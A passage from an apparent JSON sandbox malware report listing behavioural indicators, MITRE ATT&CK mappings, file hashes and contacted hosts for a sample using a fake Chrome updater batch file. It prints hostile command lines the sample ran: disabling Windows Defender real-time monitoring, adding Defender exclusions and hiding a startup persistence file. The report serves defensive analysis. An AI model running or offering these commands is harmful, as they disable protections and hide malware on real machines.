\"DsGetDcName\"; Source: \"00000000-00005364.00000000.156639.0048A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1482","relevance":1,"id":"string-259","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00005364.00000000.156639.0048A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00005364.00000000.156639.0048A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve state data for the computer (API string)","description":"Found reference to API \"DsRoleGetPrimaryDomainInformation\" (Indicator: \"DsRoleGetPrimaryDomainInformation\"; Source: \"00000000-00005364.00000000.156639.0048A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-116","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the NetBIOS name of the local computer (API string)","description":"Found reference to API \"GetComputerNameExW\" (Indicator: \"GetComputerName\"; Source: \"00000000-00005364.00000000.156639.0048A000.00000002.mdmp\")\n Found reference to API \"6868050790,9188,3147,,GetComputerNameW,kernel32.dll,\"00:41:07.406\",RX=0,PX=0\" (Indicator: \"GetComputerName\"; Source: \"00000000-00005400.00000001.157945.081C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-122","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00005364.00000000.156639.0048A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00005364.00000000.156639.0048A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-205","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found system command-related strings","description":"Found string \"ping\" (Indicator: \"ping\"; Source: \"00000000-00005400.00000001.157945.086F0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":7,"id":"string-126","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"System Destruction","name":"Contains ability to delete a user account from a server (API string)","description":"Found reference to API \"NetUserDel\" (Indicator: \"NetUserDel\"; Source: \"00000000-00005364.00000000.156639.0048A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1531","relevance":1,"id":"string-216","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"System Destruction","name":"Contains ability to delete users from a group (API string)","description":"Found reference to API \"NetGroupDelUser\" (Indicator: \"NetGroupDelUser\"; Source: \"00000000-00005364.00000000.156639.0048A000.00000002.mdmp\")\n Found reference to API \"NetGroupDelUser\" (Indicator: \"NetGroupDel\"; Source: \"00000000-00005364.00000000.156639.0048A000.00000002.mdmp\")\n Found reference to API \"NetGroupDel\" (Indicator: \"NetGroupDel\"; Source: \"00000000-00005364.00000000.156639.0048A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1531","relevance":1,"id":"string-218","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"System Security","name":"Calls an API typically used to enable or disable privileges in the specified access token","description":"\"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00005400)\n \"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00009176)\n \"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00006292)","origin":"API Call","mitre_attack_id":"T1134","relevance":3,"id":"api-111","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"System Security","name":"Contains ability to disable Windows Defender using PowerShell","description":"$50","origin":"File/Memory","mitre_attack_id":"T1685","relevance":1,"id":"string-748","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify Windows Defender preferences (Powershell command string)","description":"$51","origin":"File/Memory","mitre_attack_id":"T1685","relevance":1,"id":"string-275","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00005364.00000000.156639.0048A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00005364.00000000.156639.0048A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"javaw.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"javaw.exe\" opened \"\\Device\\KsecDD\"\n \"net.exe\" opened \"\\Device\\KsecDD\"\n \"net1.exe\" opened \"\\Device\\KsecDD\"\n \"powershell.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","mitre_attack_id":"T1068","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"System Security","name":"Uses powershell with a add-mppreference commandline param","description":"Process \"powershell.exe\" with commandline \"-NoProfile -Command \"Add-MpPreference -ExclusionPath '%LOCALAPPDATA%\\\\Google\\\\ChromeUpdate'\"\" (UID: 00000000-00009176)\n Process \"powershell.exe\" with commandline \"-NoProfile -Command \"Add-MpPreference -ExclusionProcess '%LOCALAPPDATA%\\\\Google\\\\ChromeUpdate\\\\chromelevator_x64.exe'\"\" (UID: 00000000-00008624)","origin":"Monitored Target","mitre_attack_id":"T1685","relevance":3,"id":"target-236","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"System Security","name":"Writes registry keys","description":"\"powershell.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"0100000000\")\n \"powershell.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"INTRANETNAME\"; Value: \"0100000000\")\n \"powershell.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"UNCASINTRANET\"; Value: \"0100000000\")\n \"powershell.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"AUTODETECT\"; Value: \"0000000000\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":3,"id":"registry-136","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to free the memory used by network management functions (API string)","description":"Found reference to API \"NetApiBufferFree\" (Indicator: \"NetApiBufferFree\"; Source: \"00000000-00005364.00000000.156639.0048A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-223","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to set/modify configuration (Powershell command string)","description":"$52","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-395","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops a file that contains system information","description":"\"Chrome_Updater.bat\" contains indicator \"HAPUBWS\" (Line: 4; Offset: 90)\n \"Chrome_Updater.bat\" contains indicator \"HAPUBWS\" (Line: 8; Offset: 94)","origin":"Binary File","mitre_attack_id":"T1005","relevance":3,"id":"binary-58","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files inside appdata directory","description":"Dropped file: \"Chrome_Updater.bat\" - Location: [%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\Chrome_Updater.bat]- [targetUID: 00000000-00005256]\n Dropped file: \"StartupProfileData-NonInteractive\" - Location: [%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive]- [targetUID: 00000000-00009176]","origin":"Binary File","mitre_attack_id":"T1036","relevance":3,"id":"binary-37","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files with image extension","description":"\"screenshot_1794271987660.png\" has type \"PNG image data 1280 x 1024 8-bit/color RGB non-interlaced\" and extension \"png\"","origin":"Binary File","mitre_attack_id":"T1105","id":"binary-56","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"javaw.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")\n \"net1.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Unusual Characteristics","name":"Set/modify configurations using PowerShell","description":"Process \"powershell.exe\" with commandline \"-NoProfile -Command \"Set-MpPreference -DisableRealtimeMonitoring $true\"\" (UID: 00000000-00005400)\n Process \"powershell.exe\" with commandline \"-NoProfile -Command \"Set-MpPreference -DisableRealtimeMonitoring $false\"\" (UID: 00000000-00006292)","origin":"Monitored Target","mitre_attack_id":"T1543.003","relevance":3,"id":"target-479","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)","description":"\"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 5400)\n \"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 9176)\n \"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 8624)\n \"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 6292)","origin":"API Call","mitre_attack_id":"T1685","relevance":10,"id":"api-1","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"suspicious","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"ET INFO Observed External IP Lookup Domain (checkip .amazonaws .com) in TLS SNI\" (SID: 2054155, Rev: 1, Severity: 2) categorized as \"Device Retrieving External IP Address Detected\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-1","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"suspicious","category":"Network Related","name":"Attempts to identify external IP address","description":"\"checkip.amazonaws.com\"","origin":"Network Traffic","mitre_attack_id":"T1016","relevance":6,"id":"network-24","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 34.227.235.47 on port 443 is sent without HTTP header\n TCP traffic to 172.67.197.30 on port 443 is sent without HTTP header\n TCP traffic to 140.82.114.3 on port 443 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"suspicious","category":"Remote Access Related","name":"Contains references to WMI/WMIC","description":"Found string \"syswow64\\wbem\\wmiprvse.exe\" (Indicator: \"wmiprvse.exe\"; in Source: \"00000000-00005364.00000000.156639.03540000.00000004.mdmp\")\n Found string \"system32\\wbem\\wmiprvse.exe\" (Indicator: \"wmiprvse.exe\"; in Source: \"00000000-00005364.00000000.156639.03540000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1047","relevance":3,"id":"string-30","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"$53","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"powershell.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"0100000000\")","origin":"Registry Access","mitre_attack_id":"T1090.001","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Contains native function calls","description":"NtQuerySystemTime@NTDLL.DLL at 00000000-00005364-38641-219-0047B345\n NtSetInformationThread@NTDLL.DLL at 00000000-00005364-38641-228-0047B578\n NtOpenProcessToken@NTDLL.DLL at 00000000-00005364-38641-229-0047B3CB\n NtQuerySystemTime@NTDLL.DLL at 00000000-00005364-38641-259-0046D035","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1106","relevance":5,"id":"stream-22","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Drops script files inside temp directory","description":"$54","origin":"Binary File","mitre_attack_id":"T1105","relevance":5,"id":"binary-35","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Executes powershell accessing native variables","description":"Process \"powershell.exe\" with commandline \"-NoProfile -Command \"Set-MpPreference -DisableRealtimeMonitoring $true\"\" (Indicator: \"$true\", UID: 00000000-00005400)","origin":"Monitored Target","mitre_attack_id":"T1059.001","relevance":10,"id":"target-55","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Attempts to change the attributes of the files","description":"Process \"attrib.exe\" with commandline \"attrib +h +s \"%APPDATA%\\\\Microsoft\\\\Windows\\\\Start Menu\\\\Programs\\\\Startup\\\\Chrome_Updater.bat\"\" (UID: 00000000-00002560)","origin":"Monitored Target","mitre_attack_id":"T1564.001","relevance":3,"id":"target-166","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"malicious","category":"Network Related","name":"Application communicates with a malicious domain","description":"Contacted Domain: \"tribot.co.uk\" has been identified as malicious","origin":"Network Traffic","mitre_attack_id":"T1566","relevance":10,"id":"network-88","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"malicious","category":"Network Related","name":"Maps a network share location","description":"Process \"net.exe\" with commandline \"net session\" (UID: 00000000-00004268)\n Process \"net1.exe\" with commandline \"%WINDIR%\\\\system32\\\\net1 session\" (UID: 00000000-00005364)","origin":"Monitored Target","mitre_attack_id":"T1049","relevance":3,"id":"target-88","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns many processes","description":"$55","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]}],"incidents":[{"name":"Remote Access","details_count":1,"details":[{"detail":"Contains ability to listen for incoming connections"}],"sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"name":"Spyware","details_count":2,"details":[{"detail":"Hooks API calls"},{"detail":"Found a string that may be used as part of an injection method"}],"sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"name":"Persistence","details_count":2,"details":[{"detail":"Creates new processes"},{"detail":"Spawns many processes"}],"sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"name":"Fingerprint","details_count":4,"details":[{"detail":"Queries kernel debugger information"},{"detail":"Attempts to identify external IP address"},{"detail":"Queries sensitive IE security settings"},{"detail":"Contains ability to query information about shared network resources"}],"sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"name":"Evasive","details_count":3,"details":[{"detail":"Contains ability to adjust token privileges"},{"detail":"Contains ability to terminate a process"},{"detail":"Attempts to disable Windows Defender using PowerShell"}],"sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"name":"Spreading","details_count":1,"details":[{"detail":"Contains ability to enumerate volumes"}],"sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 3 domains and 3 hosts"}],"sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]}],"intel_graph":{"map":{"Domain:checkip.amazonaws.com":{"type":"Domain","value":"checkip.amazonaws.com"},"Domain:github.com":{"type":"Domain","value":"github.com"},"Domain:tribot.co.uk":{"type":"Domain","value":"tribot.co.uk"},"File:0d0a0e6ae88416651b53f711101d3f8bb8fb59d5efe8173ab4924c1151443c69":{"type":"File","value":"0d0a0e6ae88416651b53f711101d3f8bb8fb59d5efe8173ab4924c1151443c69","filetype":"ELF 64-bit LSB shared object, ARM aarch64, version 1 (SYSV)","filetype_short":"ELF","mime_type":"application/x-executable-elf"},"File:13b2cac3f50368ab97fa2e3b0d0d2cb612f68449d5bbd6de187fc85ee4469d03":{"type":"File","value":"13b2cac3f50368ab97fa2e3b0d0d2cb612f68449d5bbd6de187fc85ee4469d03","verdict":{"verdict":"clean","verdict_source":"Known legitimate files database lookup","reasons":["File found in known legitimate files database","File has very high prevalence"]},"filetype":"PE32+ executable (DLL) (GUI) x86-64, for MS Windows, 7 sections","filetype_short":"PE64","mime_type":"application/x-dosexec"},"File:13e4310dbbdb839773968564fb75054d35a25511771cf689333c6b85dc6facb4":{"type":"File","value":"13e4310dbbdb839773968564fb75054d35a25511771cf689333c6b85dc6facb4","filetype":"compiled Java class data, version 50.0 (Java 1.6)","filetype_short":"CLASS","mime_type":"application/x-java-applet"},"File:1b06cba48eea2ad4881bc88a2749e40500dbc87c1a2149290eb61d473a64e4c1":{"type":"File","value":"1b06cba48eea2ad4881bc88a2749e40500dbc87c1a2149290eb61d473a64e4c1","filetype":"PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, 5 sections","filetype_short":"PE32","mime_type":"application/x-dosexec"},"File:1cd8d358b5647bdbef37146ccb34345e9450eea918f6b4775ca038897432e926":{"type":"File","value":"1cd8d358b5647bdbef37146ccb34345e9450eea918f6b4775ca038897432e926","filetype":"ELF 64-bit MSB shared object, SPARC V9, total store ordering, version 1 (Solaris)","filetype_short":"ELF","mime_type":"application/x-executable-elf"},"File:21b4afbd993791ec6b4b56c4b96190d085833313f365e88ff3811282c939d122":{"type":"File","value":"21b4afbd993791ec6b4b56c4b96190d085833313f365e88ff3811282c939d122"},"File:29fe4c6371b0b1685909c5b5f69d4976244006f81a2ffc9342a8948bbd8fa8a0":{"type":"File","value":"29fe4c6371b0b1685909c5b5f69d4976244006f81a2ffc9342a8948bbd8fa8a0","filetype":"PE32+ executable (DLL) (GUI) Aarch64, for MS Windows, 5 sections","filetype_short":"PE64","mime_type":"application/x-dosexec"},"File:32223f6ad4d1b3c5651bac44bf83e07207bf995987c6c6d6f839436ed75cf6ea":{"type":"File","value":"32223f6ad4d1b3c5651bac44bf83e07207bf995987c6c6d6f839436ed75cf6ea","filetype":"Mach-O 64-bit arm64 dynamically linked shared library, flags:","filetype_short":"MACHO","mime_type":"application/x-mach-o"},"File:3314959fa34566f63bbdb4a94d62325790e3405a53e7181d46b285fa80fcd405":{"type":"File","value":"3314959fa34566f63bbdb4a94d62325790e3405a53e7181d46b285fa80fcd405"},"File:3566b95e0f307fd25d18a461587c644e112db0ad9ca2d9e2da05527782f48728":{"type":"File","value":"3566b95e0f307fd25d18a461587c644e112db0ad9ca2d9e2da05527782f48728","filetype":"ELF 64-bit LSB shared object, LoongArch, version 1 (SYSV)","filetype_short":"ELF","mime_type":"application/x-executable-elf"},"File:404c12ac3cb56c4f50e7c9df95279cdc7e728c657fb8cb8ed6943c43240c175a":{"type":"File","value":"404c12ac3cb56c4f50e7c9df95279cdc7e728c657fb8cb8ed6943c43240c175a","filetype":"ELF 64-bit LSB shared object, MIPS, MIPS64 rel2 version 1 (SYSV)","filetype_short":"ELF","mime_type":"application/x-executable-elf"},"File:565319135f31ee227f19ddca48a831abd225e2e7a4f6f2e6fc3880cf753385b7":{"type":"File","value":"565319135f31ee227f19ddca48a831abd225e2e7a4f6f2e6fc3880cf753385b7","verdict":{"verdict":"clean","verdict_source":"Known legitimate files database lookup","reasons":["File found in known legitimate files database","File has very high prevalence"]},"filetype":"ELF 32-bit LSB shared object, ARM, EABI5 version 1 (SYSV)","filetype_short":"ELF","mime_type":"application/x-executable-elf"},"File:5731dce959f6f1b30f696217c64018f07771092a7ebc9a8ee9401a184799deae":{"type":"File","value":"5731dce959f6f1b30f696217c64018f07771092a7ebc9a8ee9401a184799deae"},"File:5e55948a99a1f2bb8874a914c73b4dc47b7c6b26cafa185ecb0419be937fde68":{"type":"File","value":"5e55948a99a1f2bb8874a914c73b4dc47b7c6b26cafa185ecb0419be937fde68","filetype":"compiled Java class data, version 52.0 (Java 1.8)","filetype_short":"CLASS","mime_type":"application/x-java-applet"},"File:5f5b5f7a43bf5d669b9339876efd999756c887dc85406deb2d8a8ef935045b0f":{"type":"File","value":"5f5b5f7a43bf5d669b9339876efd999756c887dc85406deb2d8a8ef935045b0f","filetype":"ELF 64-bit LSB shared object, x86-64, version 1 (SYSV)","filetype_short":"ELF","mime_type":"application/x-executable-elf"},"File:60c9b98aae984da350dfc1b9ce7e868b3cf2a5adf4fbf85a756afa70602ba135":{"type":"File","value":"60c9b98aae984da350dfc1b9ce7e868b3cf2a5adf4fbf85a756afa70602ba135","filetype":"ELF 32-bit LSB shared object, ARM, EABI5 version 1 (SYSV)","filetype_short":"ELF","mime_type":"application/x-executable-elf"},"File:610ec1a4af9761f85991d8f44ba1458f17202a68a86cc5400943fb9aad69aae2":{"type":"File","value":"610ec1a4af9761f85991d8f44ba1458f17202a68a86cc5400943fb9aad69aae2","filetype":"executable (RISC System/6000 V3.1) or obj module not stripped","mime_type":"application/x-coff"},"File:6daf568a88fc44f7fd97c814ba7e2e6ce2290aafd7585055efc0d8bcabe0f099":{"type":"File","value":"6daf568a88fc44f7fd97c814ba7e2e6ce2290aafd7585055efc0d8bcabe0f099","filetype":"ELF 64-bit LSB shared object, x86-64, version 1 (Solaris)","filetype_short":"ELF","mime_type":"application/x-executable-elf"},"File:725a0a28ed58f969500fbb0c3cc84153af5b6c473196db05179f3db907f313df":{"type":"File","value":"725a0a28ed58f969500fbb0c3cc84153af5b6c473196db05179f3db907f313df"},"File:7515c6b6feed62595975289a30ab83ef8c6f545798e94c4af2fe3e3da6079a1b":{"type":"File","value":"7515c6b6feed62595975289a30ab83ef8c6f545798e94c4af2fe3e3da6079a1b"},"File:77dbe3ae7d16fa27390dc87c47c7ebfbcf83ec37144e19ba47486c91c6421286":{"type":"File","value":"77dbe3ae7d16fa27390dc87c47c7ebfbcf83ec37144e19ba47486c91c6421286"},"File:7b4edaedcacbeb2439ef43bcee365ad1e6a989156085d6ba764c8a939e7a5fb3":{"type":"File","value":"7b4edaedcacbeb2439ef43bcee365ad1e6a989156085d6ba764c8a939e7a5fb3","filetype":"64-bit XCOFF executable or object module","mime_type":"application/x-coff"},"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239":{"type":"File","value":"7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","filetype":"Java archive data (JAR)","filetype_short":"JAR","mime_type":"application/java-archive"},"File:941a30fbce7e3c96c3946f083d47f8064320c3785305b755fdbbbc865daffcdf":{"type":"File","value":"941a30fbce7e3c96c3946f083d47f8064320c3785305b755fdbbbc865daffcdf","filetype":"ELF 64-bit MSB shared object, IBM S/390, version 1 (SYSV)","filetype_short":"ELF","mime_type":"application/x-executable-elf"},"File:96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7":{"type":"File","value":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7"},"File:9ad4d25dfe6909cab152dbaa0b492705db93d208f7b0fbd5e1cc05c7234f4cf8":{"type":"File","value":"9ad4d25dfe6909cab152dbaa0b492705db93d208f7b0fbd5e1cc05c7234f4cf8"},"File:b188face0ca87f7bc20f34425c5ddc7f698319eddfd4f5e48041c655f4709c90":{"type":"File","value":"b188face0ca87f7bc20f34425c5ddc7f698319eddfd4f5e48041c655f4709c90"},"File:c44df08b9c9406c0314bf24273cd29b1d29f38987d40c27d1ebe6dadabf87569":{"type":"File","value":"c44df08b9c9406c0314bf24273cd29b1d29f38987d40c27d1ebe6dadabf87569","filetype":"ELF 32-bit MSB shared object, SPARC32PLUS, V8+ Required, total store ordering, version 1 (Solaris)","filetype_short":"ELF","mime_type":"application/x-executable-elf"},"File:d12e08b83318e202eaefb54958b31543c894eda6673f361022e21474d62b686b":{"type":"File","value":"d12e08b83318e202eaefb54958b31543c894eda6673f361022e21474d62b686b","filetype":"ELF 64-bit LSB shared object, 64-bit PowerPC or cisco 7500, OpenPOWER ELF V2 ABI, version 1 (SYSV)","filetype_short":"ELF","mime_type":"application/x-executable-elf"},"File:d1e83636af7ecfc426badff53bf2c1e15ff2c341bdfccb06e566a907e5c2366b":{"type":"File","value":"d1e83636af7ecfc426badff53bf2c1e15ff2c341bdfccb06e566a907e5c2366b","filetype":"ELF 32-bit LSB shared object, Intel 80386, version 1 (Solaris)","filetype_short":"ELF","mime_type":"application/x-executable-elf"},"Ip:140.82.114.3":{"type":"Ip","value":"140.82.114.3"},"Ip:172.67.197.30":{"type":"Ip","value":"172.67.197.30"},"Ip:34.227.235.47":{"type":"Ip","value":"34.227.235.47"}},"chains":[{"id":"1569468998680821578","root":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","edges":[{"edge_kind":"extracted_from_archive","from_key":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","to_key":"File:0d0a0e6ae88416651b53f711101d3f8bb8fb59d5efe8173ab4924c1151443c69"}],"verdict":{"verdict":"unknown"}},{"id":"1569468998680821579","root":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","edges":[{"edge_kind":"extracted_from_archive","from_key":"File:7d89b002f9c17c495851ae6575ee2b221def7f9116a98d196308e4cee945a239","to_key":"File:13b2cac3f50368ab97fa2e3b0d0d2cb612f68449d5bbd6de187fc85ee4469d03"}],"verdict":{"verdict":"clean","verdict_source":"Known legitimate files database lookup","reasons":["File found in known legitimate files database","File has very high 